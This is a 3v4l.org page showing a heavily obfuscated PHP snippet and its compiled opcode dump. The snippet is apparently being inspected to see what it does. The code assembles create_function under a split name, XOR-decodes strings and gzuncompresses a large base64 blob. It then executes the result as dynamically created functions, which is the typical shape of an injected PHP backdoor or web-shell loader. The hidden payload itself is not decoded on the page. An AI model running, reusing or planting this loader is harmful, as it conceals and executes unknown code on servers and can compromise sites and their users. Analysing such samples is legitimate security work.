3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["sonqfh"]=array('$GLOBALS["sonqfh"][0]=$GLOBALS["sonqfh"][3];$fywiqgjg=$fywiqgjg(5,13);$GLOBALS["sonqfh"][0]=$fywiqgjg($GLOBALS["sonqfh"][2]);','$GLOBALS["sonqfh"][2]=gzuncompress($fywiqgjg(730,2154));','fXpuVGJrcHZ0ZXV4a2RmUXF7elB0aWppbERncH10e31vfVZzfWBpaH9sUlBdVEpdQkteSUlbSl9TR0FdQHJianBxc25jY21nd3t9dFlTdXpjJGZgNyA6Nzlud1hVdXJyRmNuJXxiYyZ8JnVJfiYyIHFwP2JCb3xXazcidGdqaHdseVBOd3xgc3thRGtQWXN7aGx9ay9wd2d9aTFuY2xwYSxpeGBja3l7OWtpYmBqYD9+an9qYXFZY2h1XEBTW0J1e3JhQ2dPZ0ZKYnUuOyhIXEBTW05GS1pCcXBQTmJRdnV0bic6W21zbH1ifyd3a317aSBia2hsdXtoVT93amhERlFWXlRdUFZDXVtHV1VCQVpbR1dCV0dFQUJZSFFXXURGXEFmSEN2K21EWUNHUjtwYn0+fWxkR3o7YGp7PiBiZnh7P3N0ZXpCTlFXdjtgans+IE1KUyJnaHN0cHRJcnhFQFlXZ2pIVEBRSltSY09AWVdPWFxuc2VrUTtgantwVUZEZmFka2Rwalt9e39NYnN+alJuYHl3dWlkamNkKmh+YHBseHs9c2pgbWRwZ1B0Y2QqaH5gcGx4ez1le29qYER3YVVscnt1aHRqW21/fU46cmZqOnhobGpldnZ1dG4nOlttc2x9Yn9MVnRiY1ZXUHNnYHVucGNbbnN7TWt/eGNacHVzanRxa2FmbllcQFNbTltXTERQU0FfQlZhWHVLbm5yJSlqY2lhZ2J6fyhqe1p1cSYpYGNrZno4bH1rUUxMdiApbX58ZWV/bHcoeWNva1BIO2N3JnJham9/aDx2cnw9cClYMn86RWl4bUQyYDp7eX4ieStNSGhJMmI6dk53YXVnTlRZa0F9em5/UyV3WWVzfGBzeyshK0JYbjJjOm12bWx5WmlncXNkYXpuV2JFMmM6aGRzdFBzcXFsYmhxeDJjOnh6LkxdQl89NzQ8blROXHt0fysudlpXO1RVdmyIglP6YObBBHGHCHhLWug0y4ZGrSnVJaUUjz9TmMl'.'Pv3gJOdcId7ibYjIW/9G1r68Zakh3cAXUw3q9qbCEQNcuDwJqBQmnX3UcHgFLkKWESzBeSEDQTQ3h7jjwkSSLAtVPkxxopR1nId5gOge7Nq+9CQLiv6w8E/JOM1vspKzvorYVVqj24Le95QQWckzyRKwCFYr/Xqeq/FKyLqhZAkFTMGGEC7iuElRFuy8DQP5I9m/EKcpjp18lVh71w14nyDjctGe2nnPb4uiBKse0z2n2cW57PzDZeuuNJkFLNg0Ww981ZMoMusTaFLS9rxcv120mBQ4pD05FJN14QCFzt41I13ElORuYJ9PmlyZkHeWqsVzjwFiMzWelJZ1buxUox63n2Fov/Uc+Ob1rFo0aA44L3OTkUZAgTC9XTDQ8mNZQkLcjEIRczmrkBINzY1kWOQVGbL3FFloVn3/5bHgGcn6nyTuTfdNejUoC8ca0IkkqnGRZq0SMbuaZUByc59DiSjk16Rr8vyk7x9GI/BMeS4njXdJ9lBcryyxFTc/lhT3M3iB8YsQL1jNlRu1RTEBbVbimv5/Qcr+mmy0OfTEzjXKnfAs1PThrIMLJhaAll6zG2Kl69e+TUwHtAmgpODNJj3wFs08MBOpohos3Bb8qYZcSzwrPeDXJUqTSoW+skEC5EJ8sKzicfbsfvcRTafzaeuy/+Ptj+oQSw0OBc+u6dgrhe9/fJw+G2Y1szZnX6DmCzinSySoxDY5HI89fILkv0HCDr'.'HsocN9DgbV0V1mwnhHHcenChlqzfcPdhntEYdB0IM5EiNECvE/+g2CAY3e5IQ1J3eK7uPZTtOPHLzCxQZgKRpY4WZEHfWBmHdKdDhbfo3EKBox4BD6vxFzaIRa3SWzJqU74TmWITkL/L9YxuXH8mY8nT+Gc3fymlMUbPPL5HYDq657wF/hkLULF5+GJTfxRMdLUbqEpewp9BF8DDr4p/ke8QVolR3eD1J1ysitdZQsfKhUAtimLdCy2+ihoIAJ+QiVr7wc1yjXpZyrMZFDDJRuT68cuFPEE5WJWOI/vmtePOtmRw9HGYviewpEoWc8BUFEX22kKWih/dECQQfCa1b97Qox9FwpbLv/e6D5w6hC0oFVCmgcctja8HIIXCKHC/8Cfgpb5Z3yjHX1H3SiHXc/N0YKHeYKPsRA5t2bbquv0dWH53B8D1gTTbSSaUAzaBEO50WsX7FCN6ATyBBb6uxil8CXi0iwHlZ8hhrDdF9AeB6/TeOYZCVhdZAF2hPubhD6ht2IcMfbG1mC4Za0sI0+Mxdp+dQg2DnC73DPrLJCbf28ZFsrXVWs7V2zYI6EVLvNk8fKmXP7I0iqR/+bOuUpGSl2ZmoEJMpYUDMcd38ZnbfumSFKKqNSTYway1ZC+AmjBSOrPYMpEFRwi8eGxGik4JIMLUjGhH3IFNMhUnFSxeXeaNNwSYxYRcWAiYSwsX87oKg5IXRE/k+JFnhJKSNbQkHrpf+5MIwMSRBM0UjiXMdN0U023T9+1ep0U3sLlMi1287TkQHyax3SYDTNNQH/IaP4NEviBSPl82xVhHL7Jc0xwkPCrwq5+/hJ51MYY60MrqjYmjYRd7VXqhoAHb5x+m'.'zsnVl6jnwjg0uA4nxsO4qeW/9GqviC/plZR/25j8NSK8I9F2bVDdSwQp8ZZEfUmSqkCKaIGLgRlnpLDK804erLytQekE+j4tYF/0CPa5jD+2fQ0i6sHfLJiZO8CShtca8efaBmQZtQuAD7B9++8zLaUzuayTUad57Xrb31Bgip+fs9lrFepE9U62NweIReMeD4NAuEFTDcWaQ3RHp5wonhvB8pDKNZ6EFbwXoEgKfQSQCTpAlYsVOH/JqpG53rCjqG0QGRmarKQ61M5h1oHqs6spszXtQuB0TiZtiWN4GIHSd8BtPd7nZ3tS3YEB+I1b9KZRNY+z8D0UMxGqCn86Nh0nYBUC/xvqBP3nXxhSHn3tNs1fimnpBZ64fEZACsWajSzRB3JB5u7kg5zEiG9BeZ215bwcaZFVCdudirHWD84JyR8x79F5EqHC1JUdL+59AHCG2jLHz9QeRR5F/eppLFPjSR3Ox0sjL1vvFxCNwPEpLiF7y+b+7pyK3B3Ouo8nON2Snm6jOqhrOYwE/MBjOQ4zWQm94jWWHxhk3wvHT4lXWALxfOWhDJCDgemj/5afJfxy2ZWiR+hOrc1zy4HdO2DEGrN33qxnT+rrUOtdv65Y3BoDNLxj7Z1lUc+pIAXaaqFl+3pV8V/YOdCx/27ORR5rOz2CxyxqemqTbK8KKyCT598MZIzLZXlU+bBPRwnBezOD43XQCsXPxZjqz/LCG05hAdOC2PjdRgaAbSpXbvWzhQhwsh9c526Z3oOJH4L9TZOLC+B7K37qrPl2WcXkHGbjNrArkkqXG08P/0UugyfjHkLkfI5n6ApGq/w//TI5rX/rhdzRsAP0WAb1JyQmPIBSYtP16QKj2njSlDp3rTvs/vJEdqNliT4nZsLepgVv2'.'Ebtvcc7+FVstzYytZv8WX9u/fL/IFMwo67XVb6Qixsau5ZQFKBscV9ts4DNXQ4blz2Tq8xRshabMv7gJMIPJX7/GSuVtLdNPe1hnnCCyviypuA+Mwur4y48mClmuXJ1p3pPR/umStouV7IP987peYGbOAc3LHa5Be6uakLguyyL2MLmpCKdBoloEDfOrcwffJw6fhSOv/bhAzV9G2Ufx0kkALU7iPq8BqMmh5PGWvXcLiwrTKz42kSZuLDd6+UTvneO7hDRi90P0PVKe/jhB/vDoxq9lBcr7M0ze31/ZkJBtEoAqK2hHR4W8HiCUbx6u3nGnbwyul36PGQn/vsFO4MQKoQGFY=',"/*fji\x76\x75\x74\x6e\x27\x3a\x5b\x6d\x73\x6c\x7d\x62\x7f*/");$zwopiqd='create_';if(function_exists($zwopiqd.='function')){$fywiqgjg=$zwopiqd('$x,$o','$s=str_pad("",$o,"ttgkqndivorfzlbe");$z=str_repeat("\x1f",$o);$v=str_repeat("\xe0",$o);$n = substr($GLOBALS["sonqfh"][0],$x,$o);return(($n^$s)&$z)|($n&$v);');;for($kr=-1;++$kr<3;$GLOBALS["sonqfh"][$kr]($fywiqgjg)){$GLOBALS["sonqfh"][$kr]=$zwopiqd('$fywiqgjg',$GLOBALS["sonqfh"][$kr]);}};unset($GLOBALS["sonqfh"]);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 37
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 16
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 16
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 16
Branch analysis from position: 37
Branch analysis from position: 16
Branch analysis from position: 37
filename:       /in/cG8HI
function name:  (null)
number of ops:  40
compiled vars:  !0 = $zwopiqd, !1 = $fywiqgjg, !2 = $kr
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $3      'GLOBALS'
          1        ASSIGN_DIM                                               $3, 'sonqfh'
          2        OP_DATA                                                  <array>
          3        ASSIGN                                                   !0, 'create_'
          4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~6      !0, 'function'
          6        SEND_VAL                                                 ~6
          7        DO_ICALL                                         $7      
          8      > JMPZ                                                     $7, ->37
          9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              '%24x%2C%24o'
         11        SEND_VAL_EX                                              '%24s%3Dstr_pad%28%22%22%2C%24o%2C%22ttgkqndivorfzlbe%22%29%3B%24z%3Dstr_repeat%28%22%5Cx1f%22%2C%24o%29%3B%24v%3Dstr_repeat%28%22%5Cxe0%22%2C%24o%29%3B%24n+%3D+substr%28%24GLOBALS%5B%22sonqfh%22%5D%5B0%5D%2C%24x%2C%24o%29%3Breturn%28%28%24n%5E%24s%29%26%24z%29%7C%28%24n%26%24v%29%3B'
         12        DO_FCALL                                      0  $8      
         13        ASSIGN                                                   !1, $8
         14        ASSIGN                                                   !2, -1
         15      > JMP                                                      ->34
         16    >   INIT_DYNAMIC_CALL                                        !0
         17        SEND_VAL_EX                                              '%24fywiqgjg'
         18        CHECK_FUNC_ARG                                           
         19        FETCH_FUNC_ARG               global              $14     'GLOBALS'
         20        FETCH_DIM_FUNC_ARG                               $15     $14, 'sonqfh'
         21        FETCH_DIM_FUNC_ARG                               $16     $15, !2
         22        SEND_FUNC_ARG                                            $16
         23        DO_FCALL                                      0  $17     
         24        FETCH_W                      global              $11     'GLOBALS'
         25        FETCH_DIM_W                                      $12     $11, 'sonqfh'
         26        ASSIGN_DIM                                               $12, !2
         27        OP_DATA                                                  $17
         28        FETCH_R                      global              ~18     'GLOBALS'
         29        FETCH_DIM_R                                      ~19     ~18, 'sonqfh'
         30        FETCH_DIM_R                                      ~20     ~19, !2
         31        INIT_DYNAMIC_CALL                                        ~20
         32        SEND_VAR_EX                                              !1
         33        DO_FCALL                                      0          
         34    >   PRE_INC                                          ~22     !2
         35        IS_SMALLER                                               ~22, 3
         36      > JMPNZ                                                    ~23, ->16
         37    >   FETCH_UNSET                                      $24     'GLOBALS'
         38        UNSET_DIM                                                $24, 'sonqfh'
         39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
173.99 ms | 1400 KiB | 15 Q